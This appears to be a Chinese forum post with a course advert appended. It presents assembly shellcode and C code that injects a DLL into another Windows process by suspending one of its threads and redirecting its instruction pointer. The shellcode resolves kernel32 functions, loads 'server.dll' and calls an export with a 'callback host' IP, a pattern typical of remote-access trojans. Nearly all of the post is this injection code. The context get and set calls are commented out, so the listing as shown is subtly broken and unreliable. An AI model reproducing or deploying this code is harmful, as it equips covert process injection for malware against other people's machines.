呀哈关于Getthreadcontext,setthreadcontext的。
exe注入程序的。
在vs2010下编译的:
先看汇编代码:
.586P
.MODEL FLAT,STDCALL
OPTION CASEMAP:NONE
PUBLIC ShellStart0
PUBLIC ShellEnd0
PUBLIC VarBegin
assume fs:nothing
.code
ShellStart0 LABEL DWORD
pushad
call next0
VarBegin LABEL DWORD
Dllname DD 0 ; dll 名字首指针,在堆内存内部
StrHost DD 0 ; 上线主机IP
Funcname DD 0 ; dll导出的函数名字
StrLoadLib DD 0 ; loadlibraryA 字符串地址
Retaddr DD 0
Funcaddr DD 0
Baseaddr DD 0 ; kernel32.dll 基地址
GetProc DD 0
Loadaddr DD 0
next0:
pop ebp
sub ebp, (VarBegin - ShellStart0) ; 这个ebp是堆内存首地址
mov eax, fs:[30h]
mov eax, [eax+0ch]
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax+18h] ;找到kernel32.dll 基地址 eax
mov dword ptr[ebp+(Baseaddr-ShellStart0)],eax
mov edi,eax
mov eax,dword ptr [edi + 3ch] ; PE\0\0
mov edx,dword ptr [eax + edi + 78h] ; 数据目录
add edx,edi
mov ecx,dword ptr [edx + 18h] ; 输出表
mov ebx,dword ptr [edx + 20h]
add ebx,edi
_dec_ecx:
dec ecx
mov esi,dword ptr [ebx + ecx*4]
add esi,edi
cmp dword ptr [esi],50746547h
jnz _dec_ecx
cmp dword ptr [esi + 4],41636f72h
jnz _dec_ecx
mov ebx,dword ptr [edx + 24h]
add ebx,edi
mov cx,word ptr [ebx + ecx*2]
mov ebx,dword ptr [edx + 1Ch]
add ebx,edi
mov eax,dword ptr [ebx + ecx*4]
add eax,edi ; 此处的EAX就是 kernel32.GetProcAddress
mov dword ptr[ebp+(GetProc-ShellStart0)],eax
push dword ptr[ebp+(StrLoadLib-ShellStart0)]
push edi ; edi:kernel32的基址
call eax
mov dword ptr[ebp+(Loadaddr-ShellStart0)],eax ; save loadlibrary address
push dword ptr[ebp+(Dllname-ShellStart0)] ; push /dir/to/server.dll
call eax
push dword ptr[ebp+(Funcname-ShellStart0)]
push eax ; eax 存放server.dll基地址
call dword ptr[ebp+(GetProc-ShellStart0)] ; eax 返回值是 TestRun 地址
cmp eax,0
jz fail
push dword ptr[ebp+(StrHost-ShellStart0)]
call eax
add esp, 4
fail:
mov eax, dword ptr [ebp+(Retaddr-ShellStart0)]
add dword ptr [ebp+(ReturnEIP-ShellStart0)+1],eax
popad
ReturnEIP:
push dword ptr[0]
ret
ShellEnd0 LABEL DWORD
end
再看看关键C代码:
//声明导出函数类型
typedef void (_cdecl *pTestRun)(char* strHost,int nPort );
extern "C" DWORD ShellStart0;
extern "C" DWORD ShellEnd0;
extern "C" DWORD VarBegin;
#define DLLNAME "D://server.dll"
#define STRHOST "127.0.0.1"
#define FUNCNAME "ThreadRun"
#define STRLOADLIB "LoadLibraryA"
BOOL WINAPI RemoteLoadLibrary(LPCTSTR pszDllName, DWORD dwProcessId)
{
// 打开目标进程
HANDLE hProcess = OpenProcess( PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessId);
if(hProcess == NULL)
return FALSE;
CONTEXT Context;
DWORD dwThreadID = 0;
THREADENTRY32 te32;
int cbSize = (DWORD)(&ShellEnd0) - (DWORD)(&ShellStart0) + 1024;
DWORD retAddr;
te32.dwSize = sizeof(te32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
if( Thread32First( hThreadSnap, &te32) )
{
do{
if( dwProcessId == te32.th32OwnerProcessID )
{
dwThreadID = te32.th32ThreadID;
break;
}
}while( Thread32Next( hThreadSnap, &te32) );
}
Context.ContextFlags = CONTEXT_CONTROL;
HANDLE hThread = OpenThread ( THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME , FALSE, dwThreadID);
SuspendThread(hThread);
//GetThreadContext(hThread, &Context);
LPVOID lpRemotefuncaddr = ::VirtualAllocEx(hProcess, NULL, cbSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* pName = (char*)((DWORD)lpRemotefuncaddr + (DWORD)(&ShellEnd0) - (DWORD)(&ShellStart0));
char* pNameLocal = (char*) VirtualAlloc(NULL,1024,MEM_COMMIT,PAGE_READWRITE);
LPVOID lpLocalfuncaddr = VirtualAlloc(NULL, cbSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int len;
memcpy(lpLocalfuncaddr,&ShellStart0,(DWORD)(&ShellEnd0) - (DWORD)(&ShellStart0));
PDWORD lpVaraddr = (PDWORD) ((DWORD)lpLocalfuncaddr + (DWORD)(&VarBegin) - (DWORD)(&ShellStart0));
len = 0;
lpVaraddr[0] = (DWORD)pName + len;
strcpy(pNameLocal + len,DLLNAME);
len += strlen(DLLNAME) + 3;
lpVaraddr[1] = (DWORD)pName + len;
strcpy(pNameLocal + len,STRHOST);
len += strlen(STRHOST) + 3;
lpVaraddr[2] = (DWORD)pName + len;
strcpy(pNameLocal + len,FUNCNAME);
len += strlen(FUNCNAME) + 3;
lpVaraddr[3] = (DWORD)pName + len;
strcpy(pNameLocal + len,STRLOADLIB);
len += strlen(STRLOADLIB) + 3;
memcpy((char*)lpLocalfuncaddr + (DWORD)(&ShellEnd0) - (DWORD)(&ShellStart0),pNameLocal,1024);
retAddr = Context.Eip;
Context.Eip = (DWORD)lpRemotefuncaddr;
lpVaraddr[4]= retAddr;
::WriteProcessMemory(hProcess, lpRemotefuncaddr, lpLocalfuncaddr, cbSize, NULL);
//SetThreadContext(hThread, &Context);
ResumeThread(hThread);
//CloseHandle(hThread);
::CloseHandle(hProcess);
return TRUE;
}
很多年前的老把戏了,高手别笑啊。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)